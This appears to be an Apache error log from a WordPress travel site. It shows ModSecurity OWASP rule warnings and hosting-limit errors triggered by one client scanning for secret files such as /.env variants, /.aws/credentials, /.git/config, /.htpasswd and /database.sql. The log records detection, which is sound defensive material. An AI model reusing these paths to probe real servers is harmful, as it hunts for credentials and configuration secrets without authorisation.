[Fri Jul 17 08:54:58.071148 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/database.sql"] [unique_id "almgig7FYe46zHK_jL3PcgAAABk"]
[Fri Jul 17 08:54:58.071361 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.local"] [unique_id "almgil1_86A5R6msWNfUPAAAABI"]
[Fri Jul 17 08:54:58.071793 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.local"] [unique_id "almgil1_86A5R6msWNfUPAAAABI"]
[Fri Jul 17 08:54:58.071795 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.sql"] [unique_id "almgig7FYe46zHK_jL3PcgAAABk"]
[Fri Jul 17 08:54:58.071914 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.071931 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.072074 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgil1_86A5R6msWNfUPAAAABI"]
[Fri Jul 17 08:54:58.072267 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgig7FYe46zHK_jL3PcgAAABk"]
[Fri Jul 17 08:54:58.072269 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env"] [unique_id "almgii0HS8lGbZyK8qt23wAAACM"]
[Fri Jul 17 08:54:58.072837 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env"] [unique_id "almgii0HS8lGbZyK8qt23wAAACM"]
[Fri Jul 17 08:54:58.072947 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.073097 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgii0HS8lGbZyK8qt23wAAACM"]
[Fri Jul 17 08:54:58.074665 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.production"] [unique_id "almgiol9vhFBGA6D8l95hwAAAAw"]
[Fri Jul 17 08:54:58.075090 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.production"] [unique_id "almgiol9vhFBGA6D8l95hwAAAAw"]
[Fri Jul 17 08:54:58.075187 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.075306 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgiol9vhFBGA6D8l95hwAAAAw"]
[Fri Jul 17 08:54:58.108915 2026] [authz_core:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php
[Fri Jul 17 08:54:58.109078 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.117509 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.aws/credentials"] [unique_id "almginRlmrtCoY_COpclugAAAAg"]
[Fri Jul 17 08:54:58.118150 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.aws/credentials"] [unique_id "almginRlmrtCoY_COpclugAAAAg"]
[Fri Jul 17 08:54:58.118334 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.118554 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almginRlmrtCoY_COpclugAAAAg"]
[Fri Jul 17 08:54:58.123767 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.git/config"] [unique_id "almgil1_86A5R6msWNfUPQAAABI"]
[Fri Jul 17 08:54:58.124280 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.git/config"] [unique_id "almgil1_86A5R6msWNfUPQAAABI"]
[Fri Jul 17 08:54:58.124395 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.126311 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgil1_86A5R6msWNfUPQAAABI"]
[Fri Jul 17 08:54:58.409590 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.backup"] [unique_id "almgiol9vhFBGA6D8l95iAAAAAw"]
[Fri Jul 17 08:54:58.409984 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.backup"] [unique_id "almgiol9vhFBGA6D8l95iAAAAAw"]
[Fri Jul 17 08:54:58.410639 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.backup"] [unique_id "almgiol9vhFBGA6D8l95iAAAAAw"]
[Fri Jul 17 08:54:58.410826 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.411032 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgiol9vhFBGA6D8l95iAAAAAw"]
[Fri Jul 17 08:54:58.413118 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.staging"] [unique_id "almgiroj0IkvhSCYadmBdAAAAAQ"]
[Fri Jul 17 08:54:58.413751 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.staging"] [unique_id "almgiroj0IkvhSCYadmBdAAAAAQ"]
[Fri Jul 17 08:54:58.413964 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:58.414163 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgiroj0IkvhSCYadmBdAAAAAQ"]
[Fri Jul 17 08:54:59.446422 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:59704] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:54:59.875017 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/wp-cron.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:54:59.879148 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgibEWOaI5pmYo9fnOwgAAAAA"]
[Fri Jul 17 08:55:00.063277 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".htpasswd" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htpasswd found within REQUEST_FILENAME: /.htpasswd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd"] [unique_id "almgjFh1WDijTxd1xw5MHQAAAAc"]
[Fri Jul 17 08:55:00.063718 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/%2F.htpasswd"] [unique_id "almgjFh1WDijTxd1xw5MHQAAAAc"]
[Fri Jul 17 08:55:00.528415 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgiUgVnBK6wAv37w6sDQAAABQ"]
[Fri Jul 17 08:55:01.023849 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgiQ5GPQ6hs4VrfMpBGgAAAAY"]
[Fri Jul 17 08:55:01.782276 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgiVCBpfuYyhJ140vSUgAAAB4"]
[Fri Jul 17 08:55:02.623760 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgiRJ0z2bEtnOrIXVARQAAAAk"]
